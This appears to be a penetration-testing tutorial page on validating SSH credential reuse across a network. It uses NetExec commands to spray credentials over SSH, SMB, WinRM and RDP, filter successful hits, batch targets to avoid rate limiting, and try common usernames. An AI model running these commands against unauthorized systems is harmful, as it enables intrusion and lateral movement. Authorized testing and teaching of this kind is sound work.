Skip to content
HackIndex.io

SSH Credential Reuse Validation

3 min read Created Jan 3, 2026 Last updated Aug 11, 2026

Once you have working SSH credentials, project them across the estate to find where reuse exists and where it stops. Admin accounts frequently reuse passwords across hosts. Service accounts are worse. A single cracked credential often opens five to twenty machines in a flat internal network.

SSH Credential Reuse Testing Across a Target List

NetExec is the standard tool for this. Feed it a target list, one host per line. It attempts auth against every host in parallel and marks each result clearly.

┌──(kali㉿kali)-[~]
└─$ nxc ssh targets.txt -u $USERNAME -p $PASSWORD 
[*]  192.168.1.10  SSH  22  [+] admin:Password123 (Pwn3d!)
[*]  192.168.1.12  SSH  22  [-] admin:Password123  Authentication failed

[+] confirms the credential works. Pwn3d! indicates command execution is also available. Any host returning [+] is a lateral movement target. Note hosts returning authentication failures separately , they are still in scope but require a different credential.

Capture output to disk while keeping stdout live:

┌──(kali㉿kali)-[~]
└─$ nxc ssh targets.txt -u $USERNAME -p $PASSWORD | tee ssh_reuse_results.txt

Filter the results for successful hits only:

┌──(kali㉿kali)-[~]
└─$ grep '\[+\]' ssh_reuse_results.txt | awk '{print $2}'

That extracts IP addresses of confirmed valid hosts for follow-up enumeration.

Cross-Protocol Reuse

SSH credentials often work on SMB, WinRM, and RDP on the same host. Test other services against the confirmed hit list before moving on.

┌──(kali㉿kali)-[~]
└─$ nxc smb targets.txt -u $USERNAME -p $PASSWORD
┌──(kali㉿kali)-[~]
└─$ nxc winrm targets.txt -u $USERNAME -p $PASSWORD
┌──(kali㉿kali)-[~]
└─$ nxc rdp targets.txt -u $USERNAME -p $PASSWORD

SMB hits expose share access and potentially lateral movement via psexec. WinRM hits give direct PowerShell remoting. RDP is GUI access, useful when other methods are blocked.

Keep It Controlled

SSH services degrade under high connection volume. Timeouts and resets usually mean load or defensive rate limiting has kicked in. Batch targets instead of pushing all at once.

split -l 50 targets.txt targets_chunk_
for f in targets_chunk_*; do
  nxc ssh "$f" -u $USERNAME -p $PASSWORD | tee -a ssh_reuse_results.txt
done

Batches of 50 targets keep connection rate reasonable on most networks. Adjust down if services start returning connection errors. Add sleep 2 between batches in sensitive environments.

Username Variations

If the credential fails across the estate, try common username variations before discarding it. Admins reuse passwords with different account names:

┌──(kali㉿kali)-[~]
└─$ nxc ssh targets.txt -u users.txt -p $PASSWORD --continue-on-success

--continue-on-success prevents NetExec from stopping after the first valid hit per host. Without it, one valid credential per target is all you get. With it, you find every account on every host that accepts the password. Useful when accounts differ by host but share a password.

Common username variations to test:

  • admin, administrator, sysadmin

  • deploy, ansible, jenkins

  • First name or first initial + last name patterns

  • Service-specific accounts (postgres, git, www-data)

References